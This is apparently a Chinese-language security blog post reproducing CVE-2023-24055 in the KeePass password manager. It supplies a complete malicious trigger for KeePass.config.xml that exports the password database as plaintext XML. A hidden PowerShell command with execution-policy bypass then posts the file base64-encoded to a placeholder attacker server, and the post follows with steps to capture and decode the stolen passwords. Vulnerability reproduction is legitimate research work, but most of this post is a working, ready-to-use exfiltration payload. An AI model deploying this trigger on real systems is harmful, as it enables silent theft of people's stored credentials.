CVE-2023-24055 Keepass密码管理工具漏洞复现

KeePass 是一款免费的开源密码管理器，可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中，该数据库由一把万能钥匙锁定。因此，您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法（AES-256、ChaCha20 和 Twofish）进行加密。

对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器，例如通过添加导出触发器来获取明文密码。

对 KeePass 配置文件具有写入权限。

触发器示例：

https://keepass.info/help/kb/trigger_examples.html

Name: name Events: Saved database file | [Equals] Conditions: <empty> Actions: 

(1) Export active database
File/URL: c:UsersxxxAppDataLocalTempexploit.xml(会在对应的目录生成exploit.xml文件，里面存放着明文密码)
File/Fortmat: KeePass XML (2.x)

(2) Execute command line / URL
File/URL: PowerShell.exe
Arguments: -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:UsersxxxAppDataLocalTempexploit.xml')))
Window style: Hidden

打开KeePass 配置文件：KeePass.config.xml，并写入相应的触发器代码

触发器参考代码如下：

<TriggerSystem> 			<Triggers> 				<Trigger> 					<Guid>UVa+fd1Qr0KAcynoacKFKw==</Guid> 					<Name>Trigger</Name> 					<Events> 						<Event> 							<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid> 							<Parameters> 								<Parameter>0</Parameter> 								<Parameter /> 							</Parameters> 						</Event> 					</Events> 					<Conditions /> 					<Actions> 						<Action> 							<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid> 							<Parameters> 								<Parameter>`C:UsersxxxAppDataLocalTempexploit.xml`</Parameter> 								<Parameter>KeePass XML (2.x)</Parameter> 								<Parameter /> 								<Parameter /> 							</Parameters> 						</Action> 						<Action> 							<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid> 							<Parameters> 								<Parameter>PowerShell.exe</Parameter> 								<Parameter>-ex bypass -noprofile -c Invoke-WebRequest -uri http://server_addr/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('C:UsersxxxAppDataLocalTempexploit.xml')))</Parameter> 								<Parameter>False</Parameter> 								<Parameter>1</Parameter> 								<Parameter /> 							</Parameters> 						</Action> 					</Actions> 				</Trigger> 			</Triggers> 		</TriggerSystem>

在服务器启动web服务，并使用tcpdump抓包（可以根据个人喜好获取数据包，生成的exploit.xml也是保存有明文密码的）。

打开KeePass，生成一个密码并保存。

将服务器抓取到的数据包打开，可以获得带有base64加密密文的数据包。

将数据包解密，就能得到KeePass保存的密码。

本地测试是可以直接在KeePass添加触发器，值的设定参考前面的内容，测试更方便。

https://github.com/alt3kx/CVE-2023-24055_PoC
https://sourceforge.net/p/keepass/discussion/329220/thread/a146e5cf6b/

长按识别二维码关注我们